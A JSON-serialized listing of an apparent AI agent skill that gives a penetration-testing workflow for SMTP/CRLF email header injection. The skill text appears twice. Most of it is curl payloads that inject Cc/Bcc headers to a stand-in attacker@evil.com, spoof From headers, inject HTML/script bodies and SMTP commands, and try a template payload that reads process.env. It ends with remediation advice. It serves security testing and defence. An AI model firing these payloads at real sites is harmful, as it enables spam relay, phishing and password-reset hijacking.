[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BME6RED5CGHJ5DYP76AHJ":3,"skill-same:01M71BME6RED5CGHJ5DYP76AHJ":76},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":6,"ownerHtmlUrl":60,"ownerBlogUrl":6,"ownerDescription":61,"updatedAt":62,"install":63,"resources":75},"01M71BME6RED5CGHJ5DYP76AHJ","cyber-testing-for-email-header-injection",null,"Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-for-email-header-injection\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"cyber testing for email header injection","testing","injection","email","for","testing for email header injection","web-application-security","security","forms","headers","test web","subdomain","false","cybersecurity","spam","contact-form","spam-relay","header-injection","crlf-injection","smtp-injection","2026-11-10 10:12:30",false,"---\nname: cyber-testing-for-email-header-injection\ndescription: \"Test web application email functionality for SMTP header injection vulnerabilities that allow attackers to inject additional email headers, modify recipients, and abuse contact forms for spam relay.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: testing-for-email-header-injection | description: Test web application email functionality for SMTP header injection vulnerabilities |   that allow attackers to inject additional email headers, modify recipients, and |   abuse contact forms for spam relay. | domain: cybersecurity | subdomain: web-application-security | tags: | - email-injection | - smtp-injection | - crlf-injection | - header-injection | - spam-relay | - contact-form | - email-security | version: '1.0' | author: mahipal | \"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n",{"hide":52,"name":5,"source":53,"license":15,"description":7,"authorized_lab":48,"origin_frontmatter":54},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: testing-for-email-header-injection | description: Test web application email functionality for SMTP header injection vulnerabilities |   that allow attackers to inject additional email headers, modify recipients, and |   abuse contact forms for spam relay. | domain: cybersecurity | subdomain: web-application-security | tags: | - email-injection | - smtp-injection | - crlf-injection | - header-injection | - spam-relay | - contact-form | - email-security | version: '1.0' | author: mahipal | ","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-testing-for-email-header-injection",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-14 03:05:17",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":52},[65,68,71],{"tool":66,"command":67},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-email-header-injection",{"tool":69,"command":70},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-email-header-injection",{"tool":72,"command":73},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-for-email-header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-for-email-header-injection\u002FSKILL.md",[],[77,101,124,149,178,197],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":47},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100],"zoom out","zoom","with","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":47},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[108,109,88,110,111,31,112,113,114,115,116,94,117,96,118,119,120,121,122,123],"yuri shura","parallel","architecture review","planning","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":131,"publishedAt":47},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[130],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[132,133,134,135,136,137,138,139,140,96,141,142,143,144,145,146,30,31,147,148],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","cold outreach","frame",{"skillNo":150,"name":151,"nameZh":6,"description":152,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":163,"publishedAt":47},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[155,158],{"categoryNo":156,"categoryName":157,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":159,"categoryName":160,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[164,98,165,132,88,166,167,168,31,169,170,171,172,173,174,175,176,177,94,96],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":47},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[185,186,187,188,189,190,191,192,193,96,194,118,195,196],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":81,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":213,"publishedAt":47},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[203,204,207,210],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":205,"categoryName":206,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":208,"categoryName":209,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":211,"categoryName":212,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000036","内容创作者",[214,215,216,96,118,217,88,218,112,94,219],"writing","writing skills","new","work","editing","Existing"]